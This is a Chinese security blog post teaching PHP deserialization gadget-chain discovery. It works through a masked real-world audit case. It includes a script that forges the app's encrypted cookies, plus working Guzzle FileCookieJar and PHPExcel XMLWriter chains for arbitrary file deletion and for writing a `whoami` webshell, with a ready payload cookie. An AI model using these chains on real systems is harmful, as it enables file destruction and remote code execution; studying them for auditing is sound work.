0x01 前言
以前因为项目需要,挖到的时候也懒的发,现在回头一看,好像自己的安全拼图少了一块,所以就补上吧 :)
0x02 旅途过程
0x02.1 寻找起点
就像出去旅游看风景一样,挑选一个合适的城市,会让旅途更加的舒服.
所以,起点的寻找是一个非常重要的点,一个好的起点,可以让挖链的难度,成几何下降
序列化简单点的说: 序列化是将对象或变量转换为可保存或可传输的字符串的过程, 但不会序列化类的方法
所以想要反序列化达成一些目的的话,就必须配合类方法的执行,串成一个链
而对于起点来说,我们需要找到可以在反序列化时就可以自动调用的方法
在php里面常见的可以自动调用的方法便是魔术方法了,魔术方法很多就不一一介绍
如果想知道各个魔术方法的使用可以查看该链接进行学习:
https://www.yuque.com/pmiaowu/web_security_1/nxl8il
目前有两个魔术方法常常被用于反序列化的入口使用:
__destruct 与 __wakeup
因此如果要找一个反序列化入口点,那么这两个方法就是最好的例子了
__destruct(): 类的析构函数-在销毁一个类之前执行该方法
__wakeup(): 执行unserialize()时,会先调用该魔术方法
一般来说 __destruct() 作为起点,更好用一些!!
0x02.2 挑选跳板
而跳板就类似于旅途中做的攻略,选择要看的风景.
因此,一个好的跳板,可以让我们在挖掘php反序列化中拥有事半功倍的效果
而我认为所谓的跳板,就是在类方法与类方法、类变量与类变量、类方法与类变量之间相互的配合与跳跃
最终达到我们想要的一个结果的过程具现化
例如一: 假如有个对象里面有个__isset()魔术方法
而在反序列化时有代码执行了isset()或empty(),并且其参数可控
那么将isset()或empty()赋值为该对象即可自动调用__isset()魔术方法,这就可以当一个跳板
例如二: 假如有个对象里面有个__toString()魔术方法
而我们找到了一个字符串函数,例如trim(),并且其参数可控
那么将trim()赋值为该对象即可自动调用__toString()魔术方法,这也可以当一个跳板
还有常见的 $test()或是call_user_func($this->test),其中$test与$this->test可控
这种只能调用没有参数的函数的方法,除了调用phpinfo(),也是可以进阶利用的
例如,将变量赋值为 [(new test), "a"] 这样的一个数组
即可调用test类中的a公共方法,这又是一个不错的跳板了
在然后就是new $test1($test2),其中$test1与$test2可控,那么这种样式的,也可以利用
拿来调用__construct()魔术方法,也是一个不错的跳板
0x02.3 行程终点
旅程的终点就向是旅游以后拍摄的美景,是我们踏上旅途的意义.
最后,我认为的终点就是两种类别
1. 动态调用参数可控
2. 危险函数参数可控
动态调用就类似于写后面时常见的
$this->a($this->b),($this->a)($this->b),new $this->a($this->b)->$c
危险函数的话,就需要根据需求找了
例如想要任意文件删除就找unlink
想要rce就找call_user_func,call_user_func_array这种函数
想要任意文件写就找file_put_content这种函数
0x03 案例
这两个案例是源自于一次工作代码审计的需要挖掘的,所以会有部分信息会打码
实际漏洞利用也会放当时在本地的利用截图,将就看看吧~~~
0x03.1 反序列化入口挖掘
正常文件getshell的路上都被堵死了,所以就想找个反序列化尝试进行getshell
经过查找,还真找到了一个反序列化入口
源码路径: ./源码/basichouse/controller/prize.class.php
换成路由那就是:
GET请求 http://xxx.com/?site=basichouse&ctl=prize&act=add
Cookie: prize_from_activity=序列化数据
这样即可触发
源码路径: ./源码/framework/lib/cookie.class.php
可以看到要跟进一个方法, lib_cookies_encrypt::get_method(ENCRYPT_KEY, 'aes');
注: 打码了一下,避免厂商信息泄漏
查询一下 ENCRYPT_KEY = md5('xxxxxxxxxxx') = 02xxx8f124adxxx5adxxx5a0xxxxfdcf
然后继续查看一下, lib_cookies_encrypt::get_method 是怎么操作
源码路径: ./源码/framework/lib/cookies/encrypt.class.php
看了一下也就是说实际是:
new lib_cookies_encryptaes($key);
如下图
那就继续查找 lib_cookies_encryptaes 类
源码路径: ./源码/framework/lib/cookies/encryptaes.class.php
那就继续查找 lib_cookies_encryptaes 类
源码路径: ./源码/framework/lib/cookies/encryptaes.class.php
源码路径: ./源码/framework/lib/cookies/aes256.class.php
看到这里就简单了,只需要把这个加密解密的方法直接抽出来就可以在本地加密数据,在目标上复现拉
0x03.2 反序列化入口加解密小脚本
// 序列化数据加解密小脚本
// 文件名称: a.php
<?php
//cookies加密salt
define('ENCRYPT_KEY', md5('xxxxxxxxxxx'));
class lib_cookie
{
public static function setcookie($name, $value = null, $expire = null, $path = null, $domain = null, $secure = null, $httponly = null)
{
if(!empty($value)) {
$value=serialize($value);
$encrypt = lib_cookies_encrypt::get_method( ENCRYPT_KEY, 'aes' );
$value = $encrypt->encrypt($value);
echo '序列化数据: ' . urlencode($value) . '<br/>';
}
return setcookie($name, $value, $expire, $path, $domain, $secure, $httponly);
}
public static function getcookie($name)
{
if(!empty($_COOKIE[$name]))
{
$encrypt = lib_cookies_encrypt::get_method( ENCRYPT_KEY, 'aes' );
$value=$encrypt->decrypt($_COOKIE[$name]);
return unserialize($value);
}
return false;
}
}
//加密类型接口,加密类型,都基于此类扩展
abstract class lib_cookies_encrypt
{
static $method = array('aes');
//加密类型.
abstract public function get_name();
//加密方法,返回加密后到密文
abstract public function encrypt($data);
//解密方法,返回解密后到明文
public function decrypt($endata)
{
return $this->decrypt($endata);
}
/**
* @static
* @param string $name
* @param $key
* @return baccarat_cookie_encrypt
*/
static public function get_method( $key, $name='aes' )
{
if(in_array($name,self::$method))
{
$classname = 'lib_cookies_encrypt'.$name;
return new $classname($key);
}
else
{
return null;
}
}
}
class lib_cookies_encryptaes extends lib_cookies_encrypt
{
private $aes;
public function __construct($key)
{
$this->aes = new lib_cookies_aes256($key);
}
public function get_name()
{
return "aes";
}
public function encrypt($data)
{
$data = rawurlencode($data);
return base64_encode($this->aes->encrypt($data));
}
public function decrypt($data)
{
return rawurldecode($this->aes->decrypt(base64_decode($data)));
}
}
class lib_cookies_aes256 {
public function __construct($key) {
$this->key = $key;
$this->iv = 'XxxxxxnzxxxxxxxxXxxxxg==';
}
public function encrypt($data) {
$encrypted = openssl_encrypt($data, 'aes-256-cbc', $this->key, OPENSSL_RAW_DATA, base64_decode($this->iv));
return $encrypted;
}
public function decrypt($encrypted) {
$decrypted = openssl_decrypt($encrypted, 'aes-256-cbc', $this->key, OPENSSL_RAW_DATA, base64_decode($this->iv));
return $decrypted;
}
}
// 加密测试
$from_type = "1111aa";
$from_activity = "22222aa";
$from_url = "https://baidu.com/aaaaaaaaaaaaa";
$data = $from_type . '|' . $from_activity . '|' . $from_url;
lib_cookie::setcookie('prize_from_activity', $data, time() + 86400);
// 解密测试
$prize_from_activity = lib_cookie::getcookie('prize_from_activity');
var_dump($prize_from_activity);
?>
0x03.3 反序列化口子测试
0x03.4 链子-任意文件删除
0x03.4.1 效果测试
本地验证试试
// 任意文件删除-序列化数据
// $_tempFileName = 要删除的文件
// 执行完以后页面就会删除序列化的数据了
class PHPExcel_Shared_XMLWriter extends XMLWriter {
private $_tempFileName = 'C:\Software\phpStudy\PHPTutorial\WWW\1.txt';
}
$data = new PHPExcel_Shared_XMLWriter();
lib_cookie::setcookie('prize_from_activity', $data, time() + 86400);
然后把这个序列化的数据
放到http://www.test123.com/index.php?site=basichouse&ctl=prize&act=add
接口的Cookie的prize_from_activity即可
0x03.4.2 链子原理
路径: ./源码/framework/include/PHPExcel/Shared/XMLWriter.php
打开以后直接查看 __destruct 方法即可,没什么难度可说
0x03.5 链子-任意文件写入漏洞
0x03.5.1 效果测试
本地验证试试
<?php
namespace GuzzleHttp\Cookie
{
class SetCookie
{
private $data;
public function __construct($data)
{
$this->data = [
'Expires' => 1,
'Discard' => false,
'asdsada' => $data
];
}
}
class CookieJar
{
private $cookies = [];
private $strictMode;
public function __construct($data)
{
$this->cookies = [new SetCookie($data)];
}
}
class FileCookieJar extends CookieJar
{
private $filename;
private $storeSessionCookies = true;
public function __construct($filename, $data)
{
parent::__construct($data);
$this->filename = $filename;
}
}
}
?>
<?php
include "./file_payload.php";
// 任意文件写入-序列化数据
$path = 'C:\Software\phpStudy\PHPTutorial\WWW\webshell.php';
$data = '<?php var_dump(`whoami`);?>';
$data = new \GuzzleHttp\Cookie\FileCookieJar($path, $data);
lib_cookie::setcookie('prize_from_activity', $data, time() + 86400);
?>
然后把这个序列化的数据
放到http://www.test123.com/index.php?site=basichouse&ctl=prize&act=add
接口的Cookie的prize_from_activity即可
0x03.5.2 链子原理
路径: ./源码/huaweiobs/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php
打开以后直接先查看 __destruct 方法
可以看到 __destruct() 会调用 save() 方法
而save()方法会调用 file_put_contents($filename, $jsonStr)
其中 $filename 这个变量,我们直接就可外部控制
所以如何控制$jsonStr的数据就是要探讨的问题了
从下图可以看到$jsonStr的数据是从一个foreach里面获取的,并且foreach的对象是一个$this
注意:
当foreach的是一个类对象的话, 那么需要这个类需要继承一个Iterator基类
并且添加一个getIterator()方法, 作为迭代器
那么才能进入到foreach循环, 否则foreach就会忽略该类对象
有关迭代器的资料可以看这一篇文章: https://www.php.net/manual/zh/class.iterator.php
而我们这个$this肯定是一个类对象, 那么如何进入foreach就是现在就要解决的问题了
从上面的注意事项我们知道了, $this里面的类对象需要继承到一个Iterator基类
并且添加类对象一个getIterator()方法
如何进入foreach这个问题,我们可以查看foreach循环代码
路径: ./源码/huaweiobs/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php
方法: save()
核心代码: CookieJar::shouldPersist
进去以后可以看到这一句代码
if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
$json[] = $cookie->toArray();
}
也就是说并且需要通过 CookieJar::shouldPersist 的验证最终才会让 $jsonStr 有数据
如何让FileCookieJar.php的save()方法的foreach有数据?
这里我们可以查看一下 CookieJar.php 的 getIterator() 方法
前面说过了当foreach的是一个类对象时那么需要这个类需要继承一个Iterator基类
并且添加一个getIterator()方法, 作为迭代器
那么才能进入到foreach循环, 否则foreach就会忽略该类对象
而这个CookieJar.php刚好符合要求
路径: ./源码/huaweiobs/vendor/guzzlehttp/guzzle/src/Cookie/CookieJar.php
方法: getIterator()
里面写的很清楚了,CookieJar类的$cookies会作为迭代器的数据返回回去
如下图:
这里我们可以查看一下FileCookieJar.php文件的save方法的$this数据
无需在意,内心有个底即可
写文件的序列化数据:
prize_from_activity=ChFt5xViYmou2DGL5hQqU1gjtGd7mU3re9i53NmTp7zaYiYMb86yuepDoqRBUuNioTWXUtgn5MyIiia0j6o3Q9LcsedX%2F88ADfhtuvRAIOEw1giFiki2T7Qi%2BvRBd8JIFH4ZlZR6%2ByPDCrYdo%2B5%2B7tbgrG0BwymmS8kTh9kH2Bzk8MyM5mOF1QSy1n%2FqIfedBIEZ2w93d0XkJz2eGTm8Tj3EweEYCUu7LvJhaf8ykTRdV6e4wHIKHdDyt8rXve9zMIXYuls%2B6fa7f%2B1HOctTkBg5IuhVmRAYAcRC1g%2BcdOJGWQM0F4DRmsQzT5H3FCo5%2BGKHKPTAfOQnAr2iis4an1FR0evpbZXsKU65uOmngYo93edtNTsKKy8c641IlM4W3%2Bw%2BMykwJNPWL89luYsKARXuH4BcF2rYv5dlN8BOZnwkOIsACwn5zSsG1070KyGp0AsCpJ1GU6apIpBoDHK4bLIj3GsjypGqscSHaa5Maq%2BOVPK%2FjBSPdijK9QM0QhHumqjNwIONHT1Sh2eht5IoSSKNq%2FVMAxcPYdgTrjz4XgtQD2%2BxdhdjPZc4Rhk0%2BoYEEJrKZ02Ghpcn%2FOtONOEUr3uCnZx1vu1KxOIfuBvbBIvuJuIANu8pwTQM1XrliegoI0%2Bl2k%2BfqpR2wCrRYwuqFFtzGuf6snzMFi%2FKr6TdLwHUP8aJGfcjW8dyxH0wqqBxm1tUGKpbWuVzduNXszxDZCdUUD%2FRvj7vYdSQvTP4ldnOyzgcDgnwdlszDM5g68VAlX0QryxJxfm4vNxCcbFaNwPtfBD2DqjLCGw%2F%2BuqEaPN%2FyXeQE7a9L9eqbTNxWqAldFtCkkBznE7DYgHlzigX%2Feno7Hzhyrr92Lssgk5IQDVLBXBColbRXGYMHMY1iPx3e3X27z0T0YAUHPY%2BUklcE4k%2FAEQQWeiB%2FahAfsqoaXP3757bqpS%2Ba9rxPt1D3MNxlEH1%2BTXAVKaM1a0N6ls4xw%3D%3D
跟进去CookieJar类的shouldPersist方法
路径: ./源码/huaweiobs/vendor/guzzlehttp/guzzle/src/Cookie/CookieJar.php
方法: shouldPersist()
如下图显示的核心代码
public static function shouldPersist(
SetCookie $cookie,
$allowSessionCookies = false
) {
if ($cookie->getExpires() || $allowSessionCookies) {
if (!$cookie->getDiscard()) {
return true;
}
}
return false;
}
其中 $allowSessionCookies 无视掉,因为可直接构造,不需要脑子
而 $cookie 写的很明显了,需要接收的方式为 SetCookie 对象
并且会调用 $cookie->getExpires() 还有 $cookie->getDiscard()
从下图就可以看到$cookie里面需要有什么,需要一个Expires与Discard
也就是说 $cookie->getExpires() 或是 $allowSessionCookies 一个为 true 即可进入下一步
然后 $cookie->getDiscard() 为 false 即可返回一个 true
所以如何构造这个数组就是下一步要解决的问题了
现在可以开始想办法看看如何构造 SetCookie $cookie 为我们需要的数组了
路径: ./源码/huaweiobs/vendor/guzzlehttp/guzzle/src/Cookie/SetCookie.php
从上面的截图来看, $cookie->getExpires() 与 $cookie->getDiscard()
调用的都是 SetCookie.php 的 $this->data 里的数据,所以直接查看 $this->data 在哪里修改即可
从下图来看已经很清楚了,在构造函数或是直接修改都可以
继续回去
路径: ./源码/huaweiobs/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php
方法: save()
现在在看看 $json[] = $cookie->toArray(); 要怎么处理才能有数据
跟进去: ./源码/huaweiobs/vendor/guzzlehttp/guzzle/src/Cookie/SetCookie.php
方法: toArray()
哇哦,是直接返回的 $this->data; 也就是说,直接修改即可
0x04 小结
挖完以后很开心, 最后面项目打完了才发现, 在phpggc这个项目里面就有记录了, 也行吧...
项目地址: https://github.com/ambionics/phpggc
总的来说,php的反序列化对比java的反序列化好挖不少
php的反序列化链路,我个人感觉就像是在搭积木,只要搭的好就有链
而java的反序列化链路,就想是在刺绣,需要一在的仔细在仔细并且利用好各种的小姿势,最终成为一个链
总的来说自己还是太菜了,emmmmm
继续学习吧
0x05 参考链接
https://xz.aliyun.com/t/8082
感谢前辈写的良好的参考文章 :)